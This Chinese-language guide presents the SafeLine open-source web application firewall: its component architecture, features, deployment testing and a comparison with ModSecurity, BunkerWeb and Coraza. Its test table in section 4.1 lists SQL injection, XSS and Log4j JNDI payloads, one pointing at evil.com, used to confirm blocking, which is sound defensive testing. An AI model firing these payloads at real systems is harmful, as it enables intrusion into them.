SafeLine 介绍与选型指南
SafeLine(雷池)社区版 9.4.2 产品定位、组件架构与功能特性梳理,附 Nginx WAF(ModSecurity)、BunkerWeb、Coraza 选型对比与建议。
SafeLine 介绍与选型指南
> 目标:面向计划自建 Web 防护的技术团队,梳理 SafeLine(雷池)社区版 9.4.2 的产品定位、组件架构、核心功能,并与 Nginx WAF(ModSecurity 方案)、BunkerWeb、Coraza 做选型对比;结论基于本站 2026-10 的实际部署与攻击拦截实测。
一、环境信息
- 评估对象:SafeLine CE(社区版)9.4.2,2026-09-28 发布,官方仓库 chaitin/SafeLine
- 部署形态:官方 Compose 模板,7 服务(mgt / detector / tengine / pg / fvm / luigi / chaos),数据目录 /opt/data/safeline
- 实测环境:Ubuntu 22.04 单机,管理端口 13905,站点检测端口 13907,后端源站 13990
- 实测结论摘要:SQL 注入、XSS、Log4j(JNDI)、POST 注入四类攻击载荷全部 403 拦截并在攻击日志留痕,正常业务流量 200 放行
- GitHub 仓库:https://github.com/chaitin/SafeLine(GPL-3.0,22.8k+ stars)
- 官方文档:https://docs.waf.chaitin.cn/
二、产品定位
SafeLine(中文名「雷池」)是长亭科技开源的 Web 应用防火墙(WAF),以「反向代理 + 流量检测」方式工作:把网站域名解析到雷池,雷池转发请求到真实源站,转发前对流量做攻击检测,命中即拦截。核心卖点是将语义分析算法用于 HTTP 流量检测——不依赖逐条人工规则,对变形混淆的攻击载荷具备泛化识别能力,这是它与传统正则规则 WAF 的最大差异。
社区版(CE)免费提供完整检测能力与 Web 管理台,采用 GPL-3.0 许可;商业版在其上增加集群管理、流量镜像部署、专属规则等能力。项目 2023 年 4 月开源,截至本次评估(2026-10)GitHub 22,771 stars / 1,552 forks,累计发布 100+ 个版本,最新 v9.4.2,发版节奏 2023—2024 年平均每月 46 版、2025 年后保持每月 12 版的维护频率,处于活跃维护状态。
适用定位一句话概括:自托管、开箱即用、以语义检测见长的站点级 WAF 网关,适合给 Web/API 站点加一层前置防护,而非替代全功能 API 网关。
三、核心架构(组件关系)
社区版由 7 个服务组件构成(Compose 编排,实测服务名与镜像 chaitin/safeline-*):
| 组件 | 镜像 | 角色 | 说明 |
|---|---|---|---|
| mgt | chaitin/safeline-mgt | 管理服务(配置面) | 控制台 API、站点/规则/黑白名单配置管理、攻击日志入库;唯一对外端口 13905(HTTPS) |
| detector | chaitin/safeline-detector | 检测引擎(数据面判定) | 内置语义分析引擎 snserver-engine 1.0.8 与正则规则,以 T1K 协议在内部网络 8000 端口接收检测请求 |
| tengine | chaitin/safeline-tengine | 流量网关(转发 + 检查点) | Nginx 发行版 + T1K 检测插件,host 网络直接监听宿主站点端口(实测 13907),生成站点反代配置 |
| pg | chaitin/safeline-postgres:15.18 | 数据库 | 站点配置、攻击日志、账号数据 |
| fvm | chaitin/safeline-fvm | 规则虚拟机 | 自定义规则(正则、限频等)的执行引擎 |
| luigi | chaitin/safeline-luigi | 动态防护 | 页面动态保护(JS 混淆加密、防爬) |
| chaos | chaitin/safeline-chaos | 人机验证 | 验证码/挑战页服务,配合 IP 风控使用 |
一次请求的完整链路(实测部署结构还原):
客户端 → tengine(13907,host 网络)
├─ T1K 插件 → detector(172.16.222.5:8000,T1K 协议)→ 判定:拦截/放行/观察
├─ 自定义规则 → fvm(172.16.222.8)
├─ 人机验证/挑战 → chaos(172.16.222.10)
├─ 动态防护注入 → luigi
└─ 放行 → proxy_pass → 后端源站(实测 http://192.168.146.128:13990)
拦截/记录 → mgt(172.16.222.4)→ 入库 pg(mgt_detect_log_basic 等表)→ 控制台展示
引擎关系总结:mgt 是大脑(下发配置、汇总日志),detector 是裁判(对每个请求做语义 + 规则判定),tengine 是通道(在转发检查点执行裁判结论),fvm/luigi/chaos 是挂在裁判与通道上的扩展模块。检测判定全部内网完成,宿主侧只暴露两类端口:管理端口(mgt)与业务站点端口(tengine)。
四、功能特性
4.1 语义分析检测
检测引擎对请求的 URL、参数、请求头、Cookie、Body 逐层做语义解析,识别 SQL 注入、XSS 跨站脚本、命令执行、路径穿越、SSRF、Log4j(JNDI)注入等攻击类别。本站实测样本全部拦截(HTTP 403 + 事件日志):
| 攻击样本 | 请求方式 | 实测结果 | 命中规则 |
|---|---|---|---|
?id=1 union select 1,2,3 | GET URL | 403 拦截 | m_sqli(SQL 注入) |
?id=1 and updatexml(1,concat(0x7e,user()),1) | GET URL | 403 拦截 | m_sqli |
POST username=admin' or '1'='1 | POST body | 403 拦截 | m_sqli |
?q=<script>alert(1)</script> | GET URL | 403 拦截 | m_xss(XSS) |
Header X-Api-Version: ${jndi:ldap://evil.com/x} | 请求头 | 403 拦截 | m_rule(通用规则组,JNDI 载荷实测命中) |
| 正常页面访问 | GET | 200 放行 | — |
拦截响应为固定 HTML 拦截页,携带事件 ID(event_id: <32位hex>),可在控制台按该 ID 定位完整攻击记录。
4.2 防护规则体系
- 内置语义规则:随镜像分发(m_sqli、m_xss、m_rule 等规则组),由官方规则库更新通道持续升级,无需人工维护
- 自定义规则:控制台按站点配置正则/字符串匹配规则,交给 fvm 规则虚拟机执行,支持自定义动作(拦截、放行、人机验证)
- 观察模式:站点可切换「防护模式/观察模式」,观察模式只记录不拦截,用于新站点灰度(实测站点配置
mode=2对应观察模式,攻击请求返回 200 但日志照记,见实测记录:观察模式命中记录 action=2) - 防护站点配置:每站点独立开关防护、配置端口/域名/上游/负载算法,支持轮询与主备(实测
load_balance.balance_type=1轮询 + upstream weight)
4.3 IP 风控与人机验证
- IP 黑白名单:按 IP/网段配置放行或封禁
- 限频与人机验证:对高频访问或可疑会话注入验证码挑战(chaos 组件渲染挑战页)
- 动态防护(luigi):对返回页面注入 JS 加密,增加爬虫/CC 工具解析难度
4.4 日志与可视化
- 攻击日志:拦截事件实时落库(实测表
mgt_detect_log_basic,含攻击类型、风险等级、动作、命中规则、攻击 IP、URL 明细),控制台「日志中心 → 攻击事件」可视化检索 - 访问日志:网关访问日志落盘
logs/nginx/ - 首页大屏:防护请求统计、攻击类型分布、站点健康概览
4.5 工程化能力
- 一键 Compose 部署,单机 2 核 4G 起步(CPU 需 SSSE3 指令集)
- 组件全部服务化编排,配置/日志落盘宿主目录,备份恢复即拷目录
- 支持多站点、WebSocket 反代、上游健康检查、HTTPS 证书管理(控制台上传/申请)
五、适用场景
- 给无防护能力的存量网站(Nginx/Tomcat/IIS/宝塔站点等)快速套一层 WAF,不改业务代码
- 面向公网的 API 服务防扫描、防注入、防爬(配合动态防护与人机验证)
- 内网/等保场景需要留存攻击日志与拦截证据(攻击日志完整落库,可导出)
- 不适用:需要七层路由/熔断/限流编排的完整 API 网关场景(SafeLine 只做防护代理);需要旁路镜像流量检测(社区版不支持,属商业版能力)
六、与同类方案选型对比
对比对象:Nginx WAF(以 Nginx + ModSecurity v3 + OWASP CRS 规则集为代表)、BunkerWeb 1.6.16、Coraza 3.8.1。数据取自各项目 GitHub(2026-10 实时抓取)与本站 SafeLine 9.4.2 实测。
6.1 综合对比表
| 维度 | SafeLine CE 9.4.2 | Nginx + ModSecurity v3 + CRS | BunkerWeb 1.6.16 | Coraza 3.8.1 |
|---|---|---|---|---|
| 产品形态 | 独立 WAF 网关(7 服务编排,带管理台) | Nginx 模块 + 规则文件(无管理台) | 自托管反向代理套件(Nginx 基座 + 插件 + 管理台) | Go 语言 WAF 引擎库(非成品网关) |
| 检测技术 | 语义分析 + 内置正则规则(官方规则库自动更新) | 正则规则为主(OWASP CRS 规则集,需人工调优) | Nginx 原生防护 + 安全插件(可接 CRS) | 规则引擎(Seclang,兼容 OWASP CRS 3/4) |
| 部署复杂度 | 低(Compose 一键起,UI 建站点) | 高(编译模块、维护规则与误报) | 中低(编排模板 + Web 管理) | 高(需开发集成到 Go 服务/自定义网关) |
| 管理界面 | 有(Web 控制台,中文) | 无(配置文件 + 日志工具) | 有(Web 管理台) | 无 |
| 攻击日志 | 自动入库 + 控制台可视化检索(实测) | error/access 日志自行分析 | 有(含调度器日志) | 依赖宿主应用日志 |
| 许可 | GPL-3.0 | Apache-2.0(ModSecurity)/ CRS Apache-2.0 | AGPL-3.0 | Apache-2.0 |
| GitHub stars | 22,771 | 9,808(ModSecurity) | 11,080 | 3,909 |
| 最近发版 | v9.4.2(2026-09-28) | 维护阶段(官方仓库近期无功能发版) | v1.6.16(2026-10-14) | v3.8.1(2026-10-02) |
| 中文生态 | 好(中文文档/社区/商业支持) | 一般 | 一般 | 一般 |
| 性能开销 | 单进程代理转发 + 内网检测(实测同机 403 拦截响应毫秒级) | 进程内模块,开销低但调优不当误报高 | Nginx 原生,开销低 | 进程内库,开销低 |
| 典型使用者 | 运维团队/中小企业自建防护 | 深度 Nginx 用户、有安全运维能力团队 | 想要「反代 + 防护 + 证书」一站式的自托管用户 | Go 应用开发团队(应用内嵌 WAF) |
6.2 差异要点说明
- SafeLine vs Nginx WAF(ModSecurity):ModSecurity v3 已进入维护阶段(2024 年项目方宣布调整投入,官方仓库无近期功能发版),规则集 CRS 本身仍是事实标准;SafeLine 的语义引擎对混淆变形载荷更省心,且提供现成管理台与攻击日志,代价是检测引擎闭源(规则/算法不开源)且 GPL 许可。已有 ModSecurity 调优经验的团队可继续沿用,没有专人的团队 SafeLine 上手成本低得多。
- SafeLine vs BunkerWeb:两者都是「自带管理台的自托管防护网关」。BunkerWeb 功能面更宽(自动 HTTPS、防机器人、地域限制等插件生态),SafeLine 检测纵深更强(语义分析引擎 + 商业级规则库),中文界面与中文支持是明显优势。选 BunkerWeb 更多是把它当「安全加强版反向代理」,选 SafeLine 是把它当「专业 WAF」。
- SafeLine vs Coraza:不是同一层的东西——Coraza 是嵌入 Go 应用的 WAF 引擎库(兼容 CRS),SafeLine 是独立部署的网关。需要应用内嵌检测或自研网关时选 Coraza;要直接上线防护时 SafeLine/BunkerWeb 才是同类对比。
- ** 许可提醒**:SafeLine GPL-3.0 对二次分发有传染性,做商业化分发需评估;BunkerWeb AGPL-3.0 对网络服务同样有开源义务;Coraza/ModSecurity Apache-2.0 最宽松。
6.3 选型建议
- 想要开箱即用 + 中文管理台 + 语义检测,站点数量 1~20 个:选 SafeLine CE(本文实测路线,部署到拦截全流程半天内完成)
- 已有成熟 Nginx 体系、有安全运维人力、需要完全开源可控:Nginx + ModSecurity + CRS
- 需要「反代 + 自动证书 + 防护 + 多站点编排」一体化自托管面板:BunkerWeb
- Go 技术栈要把 WAF 内嵌进应用或自研数据面:Coraza
- 以上皆可组合:如 SafeLine 在前做语义拦截,后端 Nginx 挂 CRS 做第二层正则兜底
七、开源信息与许可
- 仓库:https://github.com/chaitin/SafeLine(Go,GPL-3.0,created 2023-04-12,2026-09 仍有发版)
- 许可:GPL-3.0(社区版);商业版另有许可与支持条款
- 版本通道:
chaitin/safeline-*镜像 latest 标签跟随最新版;生产可用 IMAGE_TAG 锁定版本 - 生态位:与国内宝塔/Nginx 生态兼容性好,官方提供在线文档、社区论坛与商业支持渠道
八、本站实测记录(关键证据)
- 部署:SafeLine CE 9.4.2,Compose 7 服务全部 healthy(mgt 内建版本
version 9.4.2,检测引擎snserver-engine 1.0.8) - 建站:站点
safeline-demo.local,端口 13907,上游http://192.168.146.128:13990(nginx 1.27 静态源站),正常访问 200 且返回源站内容 - 拦截:SQL 注入/XSS/Log4j/POST 注入四类样本全部 403,拦截页带 event_id;攻击明细落库
mgt_detect_log_basic(attack_type、risk_level、action、rule_id 齐全) - 观察模式:站点配置
mode=2后同载荷返回 200(只记录不拦截),验证灰度能力 - 误拦截处理:站点「排错路径」配置 URL 前缀排除(exclude_paths.prefixes)生效机制实测可用
- 详细步骤与回显:《SafeLine Docker Compose 部署指南》
九、参考链接
- GitHub 仓库与版本发布:https://github.com/chaitin/SafeLine/releases
- 官方文档站:https://docs.waf.chaitin.cn/
- ModSecurity(v3):https://github.com/owasp-modsecurity/ModSecurity
- OWASP CRS 规则集:https://github.com/coreruleset/coreruleset
- BunkerWeb:https://github.com/bunkerity/bunkerweb
- Coraza:https://github.com/corazawaf/coraza
- 系列文档:《SafeLine Docker Compose 部署指南》《SafeLine 配置参数详解》《SafeLine 运维手册》